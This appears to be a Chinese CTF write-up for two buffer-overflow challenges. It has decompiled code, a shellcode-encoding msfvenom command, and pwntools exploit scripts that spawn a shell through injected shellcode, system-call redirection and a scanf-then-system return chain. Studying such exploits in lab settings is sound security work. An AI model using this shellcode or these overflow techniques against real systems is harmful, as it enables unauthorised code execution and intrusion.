pwn1
thought
carter学长给的bof题目,题目比较奇葩= =。IDA能分析个大概:
int sub_8048582()
{
alarm(0x3Cu);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
dword_804A160 = sub_804856D;
printf("C'mon pwn me : ");
__isoc99_scanf("%s", &unk_804A060);
dword_804A160();
return 0;
}
存在bof的buff位于bss段上,而且源程序中直接call buf之后的一个地址了。
.text:080485E7 call _printf
.text:080485EC mov dword ptr [esp+4], offset unk_804A060
.text:080485F4 mov dword ptr [esp], offset aS ; "%s"
.text:080485FB call ___isoc99_scanf
.text:08048600 mov eax, ds:dword_804A160
.text:08048605 call eax ; dword_804A160
.text:08048607 mov eax, 0
总结
scanf读入的payload中不能有whitespace,所以原来的21bytes shellcode就不能用了,存在”\x0b”。
使用msfvenom生成shellcode
cat input | msfvenom -p - -a x86 --platform linux -e x86/shikata_ga_nai -b '\x00\x0a\x0b\x0d\xff' -f python -o output
exp
from pwn import *
import time
debug = 1
local = 1
attach = local & 0
bps = attach & 0
proc_name = 'pwn1'
#socat TCP4-LISTEN:10001,fork EXEC:./pwn1
ip = '127.0.0.1'
port = 10001
io = None
def makeio():
global io
if local:
io = process(proc_name)
else:
io = remote(ip,port)
def ru(data):
return io.recvuntil(data)
def rv():
return io.recv()
def sl(data):
return io.sendline(data)
def sn(data):
return io.send(data)
def rl():
return io.recvline()
def pwn():
makeio()
if debug:
context.log_level = 'debug'
if attach:
if bps:
gdb.attach(pidof(proc_name)[0], open('bps'))
else:
gdb.attach(pidof(proc_name)[0])
bss_addr = 0x0804A060
sc_scanf = "\x31\xc0\xb0\x30\x01\xc4\x30\xc0"
sc_scanf += "\x50\x68\x2f\x2f\x73\x68\x68\x2f"
sc_scanf += "\x62\x69\x6e\x89\xe3\x89\xc1\xb0"
sc_scanf += "\xb0\xc0\xe8\x04\xcd\x80\xc0\xe8"
sc_scanf += "\x03\xcd\x80"
ru('C\'mon pwn me :')
payload = sc_scanf.ljust(256,chr(0x90)) + p32(bss_addr)
sl(payload)
io.interactive()
if __name__ == '__main__':
pwn()
pwn2
thoughts
IDA pro分析:
int __cdecl ShowInfo(char *src)
{
char dest[2]; // [sp+10h] [bp-88h]@1
__int16 v3; // [sp+12h] [bp-86h]@1
int v4; // [sp+14h] [bp-84h]@1
*(_WORD *)dest = 0;
v3 = 0;
memset(&v4, 0, 0x7Cu);
strcpy(dest, src);
return printf("your name:%s\n", dest);
}
本题觉得比较难:
1. 溢出点位于ShowInfo中,传入参数为最大长度256的字符串。可以通过bof覆盖返回地址,但不知道栈的地址,无法指向buf。
2. 程序中有system函数,觉得这点可用:控制esp指向/bin/sh,返回地址填call system的地址。但控制esp是难点。对比ret2libc,栈如此布置:返回地址 + 指向/bin/sh的指针。这里是call,只需要把指向/bin/sh的指针放在栈顶,再call system即可。可是,无法构造这个指针。
总结
way1
gdb中 find ‘sh’ 可以找到sh的地址,直接布置bofpayload中callsys_addr之后即可。
way2
在bof中通过scanf读取/bin/sh,函数返回到system_plt。
注意scanfbuf_addr要是一个可读可写的地址。
==不过为何0x804a1a6可以,而0x804a100不可以呢?==
padding |
---|
scanf_plt |
system_plt |
scanfformat_addr |
scanfbuf_addr |
exp
...
def pwn1():
callsys_addr = 0x080487BD
sh_addr = 0x80482ea
ru('input your name:')
payload = '\x41'*0x88 + p32(0xdeadbeaf) + p32(callsys_addr) +p32(sh_addr)
sl(payload)
ru(':')
sl('1')
io.interactive()
def pwn():
makeio()
if debug:
context.log_level = 'debug'
if attach:
if bps:
gdb.attach(pidof(proc_name)[0], open('bps'))
else:
gdb.attach(pidof(proc_name)[0])
sys_plt = 0x080484B0
scanf_plt = 0x080484F0
scanf_format = 0x0804888F
scanf_buf = 0x804a1a6 #0x804a100
payload = '\x41'*0x88 + p32(0xdeadbeaf) + p32(scanf_plt) +p32(sys_plt) + p32(scanf_format) +p32(scanf_buf)
ru('input your name:')
sl(payload)
ru(':')
sl('1')
sl('/bin/sh')
io.interactive()